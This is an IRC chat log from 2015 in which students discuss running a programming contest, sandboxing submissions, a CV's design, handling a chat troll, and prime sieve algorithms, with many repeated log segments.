[2015-02-24T22:41:57-0500] <Hyper> also i'd like the sources to be out there so we can see what winning strategies used
[2015-02-24T22:42:09-0500] <Hyper> :)
[2015-02-24T22:42:57-0500] <grantwu> hue
[2015-02-24T22:43:12-0500] <grantwu> what if someone has a makefile which uninstalls gcc or something
[2015-02-24T22:43:17-0500] <grantwu> to screw over other people
[2015-02-24T22:43:28-0500] <Hyper> I'll disqualify them and spin up a new droplet.
[2015-02-24T22:43:36-0500] <grantwu> What's a droplet?
[2015-02-24T22:43:43-0500] <bob_twinkles> this is why we don't build as root
[2015-02-24T22:43:45-0500] <Hyper> digital ocean server instance
[2015-02-24T22:43:47-0500] <grantwu> nvm
[2015-02-24T22:43:49-0500] <grantwu> yeah
[2015-02-24T22:44:23-0500] <Hyper> also I'll give the makefiles a once-over for anything obviously suspicious :)
[2015-02-24T22:44:31-0500] <grantwu> orrrr you could use Autolab which automatically sandboxes everything!
[2015-02-24T22:46:11-0500] <Hyper> grantwu: but that takes setuuuuup
[2015-02-24T22:46:15-0500] <grantwu> :C
[2015-02-24T22:46:27-0500] <grantwu> Tbh, don't use Autolab
[2015-02-24T22:46:49-0500] <Hyper> lol
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
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[2015-02-24T23:22:03-0500] <+awe> Hyper: 129 day GH streak
[2015-02-24T23:22:10-0500] <Hyper> awe: q.q
[2015-02-24T23:22:29-0500] <Hyper> at some point you'll slip up... and I'll be waiting
[2015-02-24T23:25:30-0500] <+awe> Hyper: for the record, your CV is not scalable.
[2015-02-24T23:25:41-0500] <+awe> Hyper: when you get a job, where does job go?
[2015-02-24T23:27:24-0500] <Hyper> awe: I'm gonna redesign it a bit at that point :)
[2015-02-24T23:28:06-0500] <+awe> Also, no phone number nor address
[2015-02-24T23:28:13-0500] <+awe> dis some lame ass CV
[2015-02-24T23:28:17-0500] <Hyper> who the fuck calls ore mails shit
[2015-02-24T23:28:33-0500] <Hyper> if they want to call they can email me and schedule one
[2015-02-24T23:28:46-0500] <+awe> Lol.
[2015-02-24T23:28:49-0500] <Hyper> if they need to talk to me immediately my IRC is there.
[2015-02-24T23:28:52-0500] <+awe> It's a pretty normal thing to have on a CV.
[2015-02-24T23:29:03-0500] <+awe> Goldman Sax isn't going to go on IRC to ask you.
[2015-02-24T23:29:05-0500] <Hyper> it's also useless, so I won't waste space on it.
[2015-02-24T23:29:07-0500] <+awe> They're going to call you.
[2015-02-24T23:29:10-0500] <Hyper> lol goldman
[2015-02-24T23:30:06-0500] <Hyper> they're actually going to email me and schedule a call and ask for a number to call on
[2015-02-24T23:30:14-0500] <+awe> Maybe.
[2015-02-24T23:30:18-0500] <Hyper> nobody would just cold call nowadays.
[2015-02-24T23:30:25-0500] <+awe> Probably not.
[2015-02-24T23:30:38-0500] <+awe> Your horizontal rule looks pretty bad.
[2015-02-24T23:31:06-0500] <Hyper> as in the presence of a horizontal rule looks bad or just mine in particular?
[2015-02-24T23:31:30-0500] <+awe> Both.
[2015-02-24T23:31:42-0500] <+awe> Horizontal rules are pretty eh, and ones that look 3d-ish and weird are worse.
[2015-02-24T23:31:46-0500] <Hyper> noted
[2015-02-24T23:31:48-0500] <+awe> solid black line would be better.
[2015-02-24T23:31:57-0500] <Hyper> that's just an unstyled hr so eh
[2015-02-24T23:31:58-0500] <+awe> but yeah, I actually really don't like this two column format.
[2015-02-24T23:32:05-0500] <+awe> It's hard to read.
[2015-02-24T23:32:08-0500] <+awe> I know it's an unstyled hr. :)
[2015-02-24T23:32:25-0500] <Hyper> I don't like 1 column, the info is too spread out horizontally
[2015-02-24T23:32:41-0500] <+awe> Maybe it's just because of content density.
[2015-02-24T23:32:46-0500] <+awe> There's a lot on the left and not much on the right.
[2015-02-24T23:33:02-0500] <Hyper> yeah when I redesign i'm gonna even everything out
[2015-02-24T23:33:35-0500] <Hyper> the goal when I made it was to have something presentable, not a perfect design, lol
[2015-02-24T23:34:45-0500] <+awe> Fair enough.
[2015-02-24T23:34:50-0500] <+awe> I just was reading your website, saw it, and gave comments.
[2015-02-24T23:36:37-0500] <+awe> I don't even have a CV right now. :)
[2015-02-24T23:36:45-0500] <+awe> Just a linkedin.
[2015-02-24T23:39:18-0500] <+awe> Will probably add my GPA after this semester when it's a 3.9.
[2015-02-24T23:39:36-0500] <+awe> Silly B in my Literature of the Harlem Renaissance course.
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[2015-02-24T22:44:31-0500] <grantwu> orrrr you could use Autolab which automatically sandboxes everything!
[2015-02-24T22:46:11-0500] <Hyper> grantwu: but that takes setuuuuup
[2015-02-24T22:46:15-0500] <grantwu> :C
[2015-02-24T22:46:27-0500] <grantwu> Tbh, don't use Autolab
[2015-02-24T22:46:49-0500] <Hyper> lol
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
[2015-02-24T23:22:03-0500] <+awe> Hyper: 129 day GH streak
[2015-02-24T23:22:10-0500] <Hyper> awe: q.q
[2015-02-24T23:22:29-0500] <Hyper> at some point you'll slip up... and I'll be waiting
[2015-02-24T23:25:30-0500] <+awe> Hyper: for the record, your CV is not scalable.
[2015-02-24T23:25:41-0500] <+awe> Hyper: when you get a job, where does job go?
[2015-02-24T23:27:24-0500] <Hyper> awe: I'm gonna redesign it a bit at that point :)
[2015-02-24T23:28:06-0500] <+awe> Also, no phone number nor address
[2015-02-24T23:28:13-0500] <+awe> dis some lame ass CV
[2015-02-24T23:28:17-0500] <Hyper> who the fuck calls ore mails shit
[2015-02-24T23:28:33-0500] <Hyper> if they want to call they can email me and schedule one
[2015-02-24T23:28:46-0500] <+awe> Lol.
[2015-02-24T23:28:49-0500] <Hyper> if they need to talk to me immediately my IRC is there.
[2015-02-24T23:28:52-0500] <+awe> It's a pretty normal thing to have on a CV.
[2015-02-24T23:29:03-0500] <+awe> Goldman Sax isn't going to go on IRC to ask you.
[2015-02-24T23:29:05-0500] <Hyper> it's also useless, so I won't waste space on it.
[2015-02-24T23:29:06-0500] <+awe> They're going to call you.
[2015-02-24T23:29:10-0500] <Hyper> lol goldman
[2015-02-24T23:30:06-0500] <Hyper> they're actually going to email me and schedule a call and ask for a number to call on
[2015-02-24T23:30:14-0500] <+awe> Maybe.
[2015-02-24T23:30:18-0500] <Hyper> nobody would just cold call nowadays.
[2015-02-24T23:30:25-0500] <+awe> Probably not.
[2015-02-24T23:30:38-0500] <+awe> Your horizontal rule looks pretty bad.
[2015-02-24T23:31:06-0500] <Hyper> as in the presence of a horizontal rule looks bad or just mine in particular?
[2015-02-24T23:31:30-0500] <+awe> Both.
[2015-02-24T23:31:42-0500] <+awe> Horizontal rules are pretty eh, and ones that look 3d-ish and weird are worse.
[2015-02-24T23:31:46-0500] <Hyper> noted
[2015-02-24T23:31:48-0500] <+awe> solid black line would be better.
[2015-02-24T23:31:57-0500] <Hyper> that's just an unstyled hr so eh
[2015-02-24T23:31:58-0500] <+awe> but yeah, I actually really don't like this two column format.
[2015-02-24T23:32:05-0500] <+awe> It's hard to read.
[2015-02-24T23:32:08-0500] <+awe> I know it's an unstyled hr. :)
[2015-02-24T23:32:25-0500] <Hyper> I don't like 1 column, the info is too spread out horizontally
[2015-02-24T23:32:41-0500] <+awe> Maybe it's just because of content density.
[2015-02-24T23:32:46-0500] <+awe> There's a lot on the left and not much on the right.
[2015-02-24T23:33:02-0500] <Hyper> yeah when I redesign i'm gonna even everything out
[2015-02-24T23:33:35-0500] <Hyper> the goal when I made it was to have something presentable, not a perfect design, lol
[2015-02-24T23:34:45-0500] <+awe> Fair enough.
[2015-02-24T23:34:50-0500] <+awe> I just was reading your website, saw it, and gave comments.
[2015-02-24T23:36:37-0500] <+awe> I don't even have a CV right now. :)
[2015-02-24T23:36:45-0500] <+awe> Just a linkedin.
[2015-02-24T23:39:18-0500] <+awe> Will probably add my GPA after this semester when it's a 3.9.
[2015-02-24T23:39:36-0500] <+awe> Silly B in my Literature of the Harlem Renaissance course.
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[2015-02-25T00:21:40-0500] <grantwu> Resumes are hard :C
[2015-02-25T01:04:24-0500] <LittleBobbyTables> So am I
[2015-02-25T01:12:12-0500] <grantwu> wat
[2015-02-25T01:16:35-0500] <LittleBobbyTables> ;)
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[2015-02-24T22:46:49-0500] <Hyper> lol
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
[2015-02-24T23:22:03-0500] <+awe> Hyper: 129 day GH streak
[2015-02-24T23:22:10-0500] <Hyper> awe: q.q
[2015-02-24T23:22:29-0500] <Hyper> at some point you'll slip up... and I'll be waiting
[2015-02-24T23:25:30-0500] <+awe> Hyper: for the record, your CV is not scalable.
[2015-02-24T23:25:41-0500] <+awe> Hyper: when you get a job, where does job go?
[2015-02-24T23:27:24-0500] <Hyper> awe: I'm gonna redesign it a bit at that point :)
[2015-02-24T23:28:06-0500] <+awe> Also, no phone number nor address
[2015-02-24T23:28:13-0500] <+awe> dis some lame ass CV
[2015-02-24T23:28:17-0500] <Hyper> who the fuck calls ore mails shit
[2015-02-24T23:28:33-0500] <Hyper> if they want to call they can email me and schedule one
[2015-02-24T23:28:46-0500] <+awe> Lol.
[2015-02-24T23:28:49-0500] <Hyper> if they need to talk to me immediately my IRC is there.
[2015-02-24T23:28:52-0500] <+awe> It's a pretty normal thing to have on a CV.
[2015-02-24T23:29:03-0500] <+awe> Goldman Sax isn't going to go on IRC to ask you.
[2015-02-24T23:29:05-0500] <Hyper> it's also useless, so I won't waste space on it.
[2015-02-24T23:29:06-0500] <+awe> They're going to call you.
[2015-02-24T23:29:10-0500] <Hyper> lol goldman
[2015-02-24T23:30:06-0500] <Hyper> they're actually going to email me and schedule a call and ask for a number to call on
[2015-02-24T23:30:14-0500] <+awe> Maybe.
[2015-02-24T23:30:18-0500] <Hyper> nobody would just cold call nowadays.
[2015-02-24T23:30:25-0500] <+awe> Probably not.
[2015-02-24T23:30:38-0500] <+awe> Your horizontal rule looks pretty bad.
[2015-02-24T23:31:06-0500] <Hyper> as in the presence of a horizontal rule looks bad or just mine in particular?
[2015-02-24T23:31:30-0500] <+awe> Both.
[2015-02-24T23:31:42-0500] <+awe> Horizontal rules are pretty eh, and ones that look 3d-ish and weird are worse.
[2015-02-24T23:31:46-0500] <Hyper> noted
[2015-02-24T23:31:48-0500] <+awe> solid black line would be better.
[2015-02-24T23:31:57-0500] <Hyper> that's just an unstyled hr so eh
[2015-02-24T23:31:58-0500] <+awe> but yeah, I actually really don't like this two column format.
[2015-02-24T23:32:05-0500] <+awe> It's hard to read.
[2015-02-24T23:32:08-0500] <+awe> I know it's an unstyled hr. :)
[2015-02-24T23:32:25-0500] <Hyper> I don't like 1 column, the info is too spread out horizontally
[2015-02-24T23:32:41-0500] <+awe> Maybe it's just because of content density.
[2015-02-24T23:32:46-0500] <+awe> There's a lot on the left and not much on the right.
[2015-02-24T23:33:02-0500] <Hyper> yeah when I redesign i'm gonna even everything out
[2015-02-24T23:33:35-0500] <Hyper> the goal when I made it was to have something presentable, not a perfect design, lol
[2015-02-24T23:34:45-0500] <+awe> Fair enough.
[2015-02-24T23:34:50-0500] <+awe> I just was reading your website, saw it, and gave comments.
[2015-02-24T23:36:37-0500] <+awe> I don't even have a CV right now. :)
[2015-02-24T23:36:45-0500] <+awe> Just a linkedin.
[2015-02-24T23:39:18-0500] <+awe> Will probably add my GPA after this semester when it's a 3.9.
[2015-02-24T23:39:36-0500] <+awe> Silly B in my Literature of the Harlem Renaissance course.
[2015-02-25T00:21:40-0500] <grantwu> Resumes are hard :C
[2015-02-25T01:04:23-0500] <LittleBobbyTables> So am I
[2015-02-25T01:12:12-0500] <grantwu> wat
[2015-02-25T01:16:34-0500] <LittleBobbyTables> ;)
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[2015-02-25T12:22:01-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-24T22:46:53-0500] <grantwu> It underwent a complete rewrite over winter break... so lots of stuff keeps on breaking
[2015-02-24T22:47:17-0500] <grantwu> Basically the original maintainers are graduating... so it needed to be rewritten to be "open-sourcey" whatever the hell that means
[2015-02-24T22:47:51-0500] <grantwu> All I know is that strange bugs happen often and we TAs are left explaining stuff to students...
[2015-02-24T23:22:03-0500] <+awe> Hyper: 129 day GH streak
[2015-02-24T23:22:10-0500] <Hyper> awe: q.q
[2015-02-24T23:22:29-0500] <Hyper> at some point you'll slip up... and I'll be waiting
[2015-02-24T23:25:30-0500] <+awe> Hyper: for the record, your CV is not scalable.
[2015-02-24T23:25:41-0500] <+awe> Hyper: when you get a job, where does job go?
[2015-02-24T23:27:24-0500] <Hyper> awe: I'm gonna redesign it a bit at that point :)
[2015-02-24T23:28:06-0500] <+awe> Also, no phone number nor address
[2015-02-24T23:28:13-0500] <+awe> dis some lame ass CV
[2015-02-24T23:28:17-0500] <Hyper> who the fuck calls ore mails shit
[2015-02-24T23:28:33-0500] <Hyper> if they want to call they can email me and schedule one
[2015-02-24T23:28:46-0500] <+awe> Lol.
[2015-02-24T23:28:49-0500] <Hyper> if they need to talk to me immediately my IRC is there.
[2015-02-24T23:28:52-0500] <+awe> It's a pretty normal thing to have on a CV.
[2015-02-24T23:29:03-0500] <+awe> Goldman Sax isn't going to go on IRC to ask you.
[2015-02-24T23:29:05-0500] <Hyper> it's also useless, so I won't waste space on it.
[2015-02-24T23:29:06-0500] <+awe> They're going to call you.
[2015-02-24T23:29:10-0500] <Hyper> lol goldman
[2015-02-24T23:30:06-0500] <Hyper> they're actually going to email me and schedule a call and ask for a number to call on
[2015-02-24T23:30:14-0500] <+awe> Maybe.
[2015-02-24T23:30:18-0500] <Hyper> nobody would just cold call nowadays.
[2015-02-24T23:30:25-0500] <+awe> Probably not.
[2015-02-24T23:30:38-0500] <+awe> Your horizontal rule looks pretty bad.
[2015-02-24T23:31:06-0500] <Hyper> as in the presence of a horizontal rule looks bad or just mine in particular?
[2015-02-24T23:31:30-0500] <+awe> Both.
[2015-02-24T23:31:42-0500] <+awe> Horizontal rules are pretty eh, and ones that look 3d-ish and weird are worse.
[2015-02-24T23:31:46-0500] <Hyper> noted
[2015-02-24T23:31:48-0500] <+awe> solid black line would be better.
[2015-02-24T23:31:57-0500] <Hyper> that's just an unstyled hr so eh
[2015-02-24T23:31:58-0500] <+awe> but yeah, I actually really don't like this two column format.
[2015-02-24T23:32:05-0500] <+awe> It's hard to read.
[2015-02-24T23:32:08-0500] <+awe> I know it's an unstyled hr. :)
[2015-02-24T23:32:25-0500] <Hyper> I don't like 1 column, the info is too spread out horizontally
[2015-02-24T23:32:41-0500] <+awe> Maybe it's just because of content density.
[2015-02-24T23:32:46-0500] <+awe> There's a lot on the left and not much on the right.
[2015-02-24T23:33:02-0500] <Hyper> yeah when I redesign i'm gonna even everything out
[2015-02-24T23:33:35-0500] <Hyper> the goal when I made it was to have something presentable, not a perfect design, lol
[2015-02-24T23:34:45-0500] <+awe> Fair enough.
[2015-02-24T23:34:50-0500] <+awe> I just was reading your website, saw it, and gave comments.
[2015-02-24T23:36:37-0500] <+awe> I don't even have a CV right now. :)
[2015-02-24T23:36:45-0500] <+awe> Just a linkedin.
[2015-02-24T23:39:18-0500] <+awe> Will probably add my GPA after this semester when it's a 3.9.
[2015-02-24T23:39:36-0500] <+awe> Silly B in my Literature of the Harlem Renaissance course.
[2015-02-25T00:21:40-0500] <grantwu> Resumes are hard :C
[2015-02-25T01:04:23-0500] <LittleBobbyTables> So am I
[2015-02-25T01:12:12-0500] <grantwu> wat
[2015-02-25T01:16:34-0500] <LittleBobbyTables> ;)
[2015-02-25T12:02:27-0500] <JacobEdelman_> adunna: problems on sctf_ochat
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[2015-02-25T12:24:42-0500] <+awe> [00:21:40]  <grantwu>	Resumes are hard :C
[2015-02-25T12:24:42-0500] <+awe> [01:04:23]  <LittleBobbyTables>	So am I
[2015-02-25T12:24:45-0500] <+awe> LittleBobbyTables: omy.
[2015-02-25T12:25:12-0500] <JacobEdelman_> so
[2015-02-25T12:25:22-0500] <JacobEdelman_> we have a troll on the sCTF chat
[2015-02-25T12:25:29-0500] <JacobEdelman_> and I'm not an op at the moment
[2015-02-25T12:25:34-0500] <JacobEdelman_> (I didn't register properly)
[2015-02-25T12:25:42-0500] <JacobEdelman_> and none of the other ops are there
[2015-02-25T12:25:50-0500] <JacobEdelman_> ideas?
[2015-02-25T12:28:04-0500] <+awe> Ignore him?
[2015-02-25T12:28:11-0500] <+awe> Ask him politely to stop?
[2015-02-25T12:28:19-0500] <JacobEdelman_> ... he's been asked politely
[2015-02-25T12:28:21-0500] <JacobEdelman_> yelled at
[2015-02-25T12:28:24-0500] <JacobEdelman_> kicked
[2015-02-25T12:28:25-0500] <JacobEdelman_> banned
[2015-02-25T12:28:27-0500] <JacobEdelman_> ip banned
[2015-02-25T12:28:34-0500] <JacobEdelman_> and he still comes back
[2015-02-25T12:28:35-0500] <+awe> Well, just leave it be.
[2015-02-25T12:28:40-0500] <+awe> Just ignore him.
[2015-02-25T12:28:41-0500] <JacobEdelman_> its annoying
[2015-02-25T12:28:46-0500] <JacobEdelman_> cause people are coming there looking for help
[2015-02-25T12:28:51-0500] <JacobEdelman_> and seeing walls of rude messages
[2015-02-25T12:28:56-0500] <JacobEdelman_> being spammed
[2015-02-25T12:29:33-0500] • awe: shrugs.
[2015-02-25T12:29:41-0500] <+awe> There's nothing you can do really.
[2015-02-25T12:29:57-0500] <JacobEdelman_> uhg
[2015-02-25T12:29:57-0500] <+awe> Even if you were op, if IP banning didn't stop him, there's no hope.
[2015-02-25T12:30:08-0500] <JacobEdelman_> well
[2015-02-25T12:30:10-0500] <JacobEdelman_> it used to be
[2015-02-25T12:30:18-0500] <JacobEdelman_> that i justed kicked and banned him before he could say anything
[2015-02-25T12:30:24-0500] <JacobEdelman_> and it took him a few min
[2015-02-25T12:30:25-0500] <JacobEdelman_> to recconect
[2015-02-25T12:30:27-0500] <JacobEdelman_> so it was fine
[2015-02-25T12:30:32-0500] <JacobEdelman_> uhg
[2015-02-25T12:32:08-0500] <JacobEdelman_> also
[2015-02-25T12:32:23-0500] <JacobEdelman_> awe: how's your prime number generating program going?
[2015-02-25T12:32:29-0500] <+awe> Haven't started.
[2015-02-25T12:32:48-0500] <JacobEdelman_> oh
[2015-02-25T12:32:49-0500] <JacobEdelman_> okay
[2015-02-25T12:32:53-0500] <JacobEdelman_> what method are you gonna use?
[2015-02-25T12:33:22-0500] <+awe> Sieve of Eratosthenes.
[2015-02-25T12:37:49-0500] <JacobEdelman_> okay
[2015-02-25T12:39:34-0500] <+awe> It's the objectively best solution.
[2015-02-25T12:40:06-0500] <JacobEdelman_> ... okay, if thats what you think
[2015-02-25T12:40:15-0500] <+awe> No, it seriously is.
[2015-02-25T12:40:18-0500] <+awe> Sieve of Atkin is slower.
[2015-02-25T12:40:20-0500] <JacobEdelman_> *smirk*
[2015-02-25T12:40:23-0500] <+awe> Except at ridiculous bounds.
[2015-02-25T12:40:25-0500] <JacobEdelman_> we will see
[2015-02-25T12:40:30-0500] <JacobEdelman_> during the contest
[2015-02-25T12:40:40-0500] <JacobEdelman_> if I can beat you
[2015-02-25T12:40:41-0500] <+awe> Better people than us have done this contest.
[2015-02-25T12:40:42-0500] <JacobEdelman_> :)
[2015-02-25T12:40:47-0500] <JacobEdelman_> we shall see
[2015-02-25T12:41:29-0500] <adunna> Which one are you JE
[2015-02-25T12:41:36-0500] <adunna> ._.
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[2015-02-25T12:59:48-0500] <+awe> JacobEdelman_: you realize people wrote their thesis on this subject, right?
[2015-02-25T13:05:11-0500] <+awe> JacobEdelman_: the only implementation of Atkin that's faster than the Eratosthenes is one that is not legal according to our competition rules because it relies on a ton of caching.
[2015-02-25T13:05:49-0500] <+awe> JacobEdelman_: there's obviously modifications of Eratosthenes to make it faster though. I'm going to do those.
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[2015-02-25T13:28:08-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T12:28:05-0500] <+awe> Ignore him?
[2015-02-25T12:28:11-0500] <+awe> Ask him politely to stop?
[2015-02-25T12:28:20-0500] <JacobEdelman_> ... he's been asked politely
[2015-02-25T12:28:21-0500] <JacobEdelman_> yelled at
[2015-02-25T12:28:24-0500] <JacobEdelman_> kicked
[2015-02-25T12:28:25-0500] <JacobEdelman_> banned
[2015-02-25T12:28:27-0500] <JacobEdelman_> ip banned
[2015-02-25T12:28:34-0500] <JacobEdelman_> and he still comes back
[2015-02-25T12:28:36-0500] <+awe> Well, just leave it be.
[2015-02-25T12:28:40-0500] <+awe> Just ignore him.
[2015-02-25T12:28:41-0500] <JacobEdelman_> its annoying
[2015-02-25T12:28:47-0500] <JacobEdelman_> cause people are coming there looking for help
[2015-02-25T12:28:52-0500] <JacobEdelman_> and seeing walls of rude messages
[2015-02-25T12:28:57-0500] <JacobEdelman_> being spammed
[2015-02-25T12:29:33-0500] • awe: shrugs.
[2015-02-25T12:29:42-0500] <+awe> There's nothing you can do really.
[2015-02-25T12:29:57-0500] <JacobEdelman_> uhg
[2015-02-25T12:29:57-0500] <+awe> Even if you were op, if IP banning didn't stop him, there's no hope.
[2015-02-25T12:30:08-0500] <JacobEdelman_> well
[2015-02-25T12:30:10-0500] <JacobEdelman_> it used to be
[2015-02-25T12:30:19-0500] <JacobEdelman_> that i justed kicked and banned him before he could say anything
[2015-02-25T12:30:24-0500] <JacobEdelman_> and it took him a few min
[2015-02-25T12:30:26-0500] <JacobEdelman_> to recconect
[2015-02-25T12:30:28-0500] <JacobEdelman_> so it was fine
[2015-02-25T12:30:32-0500] <JacobEdelman_> uhg
[2015-02-25T12:32:08-0500] <JacobEdelman_> also
[2015-02-25T12:32:23-0500] <JacobEdelman_> awe: how's your prime number generating program going?
[2015-02-25T12:32:30-0500] <+awe> Haven't started.
[2015-02-25T12:32:48-0500] <JacobEdelman_> oh
[2015-02-25T12:32:49-0500] <JacobEdelman_> okay
[2015-02-25T12:32:53-0500] <JacobEdelman_> what method are you gonna use?
[2015-02-25T12:33:22-0500] <+awe> Sieve of Eratosthenes.
[2015-02-25T12:37:49-0500] <JacobEdelman_> okay
[2015-02-25T12:39:35-0500] <+awe> It's the objectively best solution.
[2015-02-25T12:40:07-0500] <JacobEdelman_> ... okay, if thats what you think
[2015-02-25T12:40:15-0500] <+awe> No, it seriously is.
[2015-02-25T12:40:18-0500] <+awe> Sieve of Atkin is slower.
[2015-02-25T12:40:21-0500] <JacobEdelman_> *smirk*
[2015-02-25T12:40:23-0500] <+awe> Except at ridiculous bounds.
[2015-02-25T12:40:26-0500] <JacobEdelman_> we will see
[2015-02-25T12:40:30-0500] <JacobEdelman_> during the contest
[2015-02-25T12:40:40-0500] <JacobEdelman_> if I can beat you
[2015-02-25T12:40:41-0500] <+awe> Better people than us have done this contest.
[2015-02-25T12:40:42-0500] <JacobEdelman_> :)
[2015-02-25T12:40:47-0500] <JacobEdelman_> we shall see
[2015-02-25T12:41:30-0500] <adunna> Which one are you JE
[2015-02-25T12:41:36-0500] <adunna> ._.
[2015-02-25T12:59:48-0500] <+awe> JacobEdelman_: you realize people wrote their thesis on this subject, right?
[2015-02-25T13:05:11-0500] <+awe> JacobEdelman_: the only implementation of Atkin that's faster than the Eratosthenes is one that is not legal according to our competition rules because it relies on a ton of caching.
[2015-02-25T13:05:50-0500] <+awe> JacobEdelman_: there's obviously modifications of Eratosthenes to make it faster though. I'm going to do those.
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[2015-02-25T13:29:05-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T12:28:05-0500] <+awe> Ignore him?
[2015-02-25T12:28:11-0500] <+awe> Ask him politely to stop?
[2015-02-25T12:28:20-0500] <JacobEdelman_> ... he's been asked politely
[2015-02-25T12:28:21-0500] <JacobEdelman_> yelled at
[2015-02-25T12:28:24-0500] <JacobEdelman_> kicked
[2015-02-25T12:28:25-0500] <JacobEdelman_> banned
[2015-02-25T12:28:27-0500] <JacobEdelman_> ip banned
[2015-02-25T12:28:34-0500] <JacobEdelman_> and he still comes back
[2015-02-25T12:28:36-0500] <+awe> Well, just leave it be.
[2015-02-25T12:28:40-0500] <+awe> Just ignore him.
[2015-02-25T12:28:41-0500] <JacobEdelman_> its annoying
[2015-02-25T12:28:47-0500] <JacobEdelman_> cause people are coming there looking for help
[2015-02-25T12:28:52-0500] <JacobEdelman_> and seeing walls of rude messages
[2015-02-25T12:28:57-0500] <JacobEdelman_> being spammed
[2015-02-25T12:29:33-0500] • awe: shrugs.
[2015-02-25T12:29:42-0500] <+awe> There's nothing you can do really.
[2015-02-25T12:29:57-0500] <JacobEdelman_> uhg
[2015-02-25T12:29:57-0500] <+awe> Even if you were op, if IP banning didn't stop him, there's no hope.
[2015-02-25T12:30:08-0500] <JacobEdelman_> well
[2015-02-25T12:30:10-0500] <JacobEdelman_> it used to be
[2015-02-25T12:30:19-0500] <JacobEdelman_> that i justed kicked and banned him before he could say anything
[2015-02-25T12:30:24-0500] <JacobEdelman_> and it took him a few min
[2015-02-25T12:30:26-0500] <JacobEdelman_> to recconect
[2015-02-25T12:30:28-0500] <JacobEdelman_> so it was fine
[2015-02-25T12:30:32-0500] <JacobEdelman_> uhg
[2015-02-25T12:32:08-0500] <JacobEdelman_> also
[2015-02-25T12:32:23-0500] <JacobEdelman_> awe: how's your prime number generating program going?
[2015-02-25T12:32:30-0500] <+awe> Haven't started.
[2015-02-25T12:32:48-0500] <JacobEdelman_> oh
[2015-02-25T12:32:49-0500] <JacobEdelman_> okay
[2015-02-25T12:32:53-0500] <JacobEdelman_> what method are you gonna use?
[2015-02-25T12:33:22-0500] <+awe> Sieve of Eratosthenes.
[2015-02-25T12:37:49-0500] <JacobEdelman_> okay
[2015-02-25T12:39:35-0500] <+awe> It's the objectively best solution.
[2015-02-25T12:40:07-0500] <JacobEdelman_> ... okay, if thats what you think
[2015-02-25T12:40:15-0500] <+awe> No, it seriously is.
[2015-02-25T12:40:18-0500] <+awe> Sieve of Atkin is slower.
[2015-02-25T12:40:21-0500] <JacobEdelman_> *smirk*
[2015-02-25T12:40:23-0500] <+awe> Except at ridiculous bounds.
[2015-02-25T12:40:26-0500] <JacobEdelman_> we will see
[2015-02-25T12:40:30-0500] <JacobEdelman_> during the contest
[2015-02-25T12:40:40-0500] <JacobEdelman_> if I can beat you
[2015-02-25T12:40:41-0500] <+awe> Better people than us have done this contest.
[2015-02-25T12:40:42-0500] <JacobEdelman_> :)
[2015-02-25T12:40:47-0500] <JacobEdelman_> we shall see
[2015-02-25T12:41:30-0500] <adunna> Which one are you JE
[2015-02-25T12:41:36-0500] <adunna> ._.
[2015-02-25T12:59:48-0500] <+awe> JacobEdelman_: you realize people wrote their thesis on this subject, right?
[2015-02-25T13:05:11-0500] <+awe> JacobEdelman_: the only implementation of Atkin that's faster than the Eratosthenes is one that is not legal according to our competition rules because it relies on a ton of caching.
[2015-02-25T13:05:50-0500] <+awe> JacobEdelman_: there's obviously modifications of Eratosthenes to make it faster though. I'm going to do those.
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[2015-02-25T15:32:22-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-25T12:28:05-0500] <+awe> Ignore him?
[2015-02-25T12:28:11-0500] <+awe> Ask him politely to stop?
[2015-02-25T12:28:20-0500] <JacobEdelman_> ... he's been asked politely
[2015-02-25T12:28:21-0500] <JacobEdelman_> yelled at
[2015-02-25T12:28:24-0500] <JacobEdelman_> kicked
[2015-02-25T12:28:25-0500] <JacobEdelman_> banned
[2015-02-25T12:28:27-0500] <JacobEdelman_> ip banned
[2015-02-25T12:28:34-0500] <JacobEdelman_> and he still comes back
[2015-02-25T12:28:36-0500] <+awe> Well, just leave it be.
[2015-02-25T12:28:40-0500] <+awe> Just ignore him.
[2015-02-25T12:28:41-0500] <JacobEdelman_> its annoying
[2015-02-25T12:28:47-0500] <JacobEdelman_> cause people are coming there looking for help
[2015-02-25T12:28:52-0500] <JacobEdelman_> and seeing walls of rude messages
[2015-02-25T12:28:57-0500] <JacobEdelman_> being spammed
[2015-02-25T12:29:33-0500] • awe: shrugs.
[2015-02-25T12:29:42-0500] <+awe> There's nothing you can do really.
[2015-02-25T12:29:57-0500] <JacobEdelman_> uhg
[2015-02-25T12:29:57-0500] <+awe> Even if you were op, if IP banning didn't stop him, there's no hope.
[2015-02-25T12:30:08-0500] <JacobEdelman_> well
[2015-02-25T12:30:10-0500] <JacobEdelman_> it used to be
[2015-02-25T12:30:19-0500] <JacobEdelman_> that i justed kicked and banned him before he could say anything
[2015-02-25T12:30:24-0500] <JacobEdelman_> and it took him a few min
[2015-02-25T12:30:26-0500] <JacobEdelman_> to recconect
[2015-02-25T12:30:28-0500] <JacobEdelman_> so it was fine
[2015-02-25T12:30:32-0500] <JacobEdelman_> uhg
[2015-02-25T12:32:08-0500] <JacobEdelman_> also
[2015-02-25T12:32:23-0500] <JacobEdelman_> awe: how's your prime number generating program going?
[2015-02-25T12:32:30-0500] <+awe> Haven't started.
[2015-02-25T12:32:48-0500] <JacobEdelman_> oh
[2015-02-25T12:32:49-0500] <JacobEdelman_> okay
[2015-02-25T12:32:53-0500] <JacobEdelman_> what method are you gonna use?
